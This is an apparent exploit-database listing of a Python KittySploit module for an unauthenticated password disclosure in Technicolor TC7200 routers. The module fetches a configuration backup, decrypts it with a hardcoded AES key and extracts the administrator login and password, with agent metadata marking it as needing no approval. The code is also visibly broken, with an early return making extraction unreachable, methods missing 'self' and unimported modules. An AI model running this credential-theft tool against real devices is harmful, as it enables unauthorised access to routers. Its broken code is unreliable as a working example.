Lucene search
+L

Technicolor TC7200 Password Disclosure V2

🗓️ 19 Aug 2026 05:37:22Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 2 Views

Unauthenticated password disclosure in Technicolor TC7200 via /goform/system/GatewaySettings.bin.

Refs
Code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Technicolor TC7200 Password Disclosure V2"""

import re
import struct

from kittysploit import *
from lib.protocols.http.http_client import Http_client



class Module(Auxiliary, Http_client):
    __info__ = {
        'name': 'Technicolor TC7200 Password Disclosure V2',
        'description': "Module exploits Technicolor TC7200 password disclosure vulnerability which allows fetching administration\\'s password.",
        'author': ['Gergely Eberhardt (@ebux25) from SEARCH-LAB Ltd. (www.search-lab.hu)', '0BuRner', 'Bastian Germann'],
        
        'platform': Platform.LINUX,
        'references': ['https://www.exploit-db.com/exploits/40157/', 'http://www.search-lab.hu/advisories/secadv-20160720'],
        'tags': ['iot', 'router', 'disclosure', 'credentials', 'unauth', 'auxiliary'],
        'agent': {
            'risk': 'active',
            'effects': ['credential_access', 'data_exfiltration'],
            'expected_requests': 1,
            'reversible': True,
            'approval_required': False,
            'produces': ['credentials', 'risk_signals'],
        },
    }

    target = OptIP("", "Target IPv4 or IPv6 address")
    port = OptPort(80, "Target HTTP port")

    def run(self):
        if self.check():
            print_success("Target is vulnerable")
            response = self.http_request(
                method="GET",
                path="/goform/system/GatewaySettings.bin",
            )
            return None

            if response is not None and response.status_code == 200:
                print_status("Reading GatewaySettings.bin...")

                plain = self.decrypt_backup(response.content)
                name, pwd = self.parse_backup(plain)

                print_success('Exploit success! login: {}, password: {}'.format(name, pwd))
            else:
                print_error("Exploit failed. Could not extract config file.")
        else:
            print_error("Target is not vulnerable")
    def parse_backup(backup):
        p = backup.find('MLog')
        if p > 0:
            p += 6
            nh = struct.unpack('!H', backup[p:p + 2])[0]
            name = backup[p + 2:p + 2 + nh]
            p += 2 + nh
            pwd = backup[p + 2:p + 2 + nh]
            return name, pwd
        return '', ''
    def decrypt_backup(backup):
        key = binascii.unhexlify('000102030405060708090A0B0C0D0E0F101112131415161718191A1B1C1D1E1F')
        length = (len(backup) / 16) * 16
        cipher = AES.new(key, AES.MODE_ECB)
        plain = cipher.decrypt(backup[0:length])
        return plain
    def check(self):
        response = self.http_request(
            method="GET",
            path="/goform/system/GatewaySettings.bin",
        )

        encr_zero_block = binascii.unhexlify('F29000B62A499FD0A9F39A6ADD2E7780')
        if response is not None and response.status_code == 200 and encr_zero_block in response.content:
            return True  # target is vulnerable

        return False  # target is not vulnerable

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation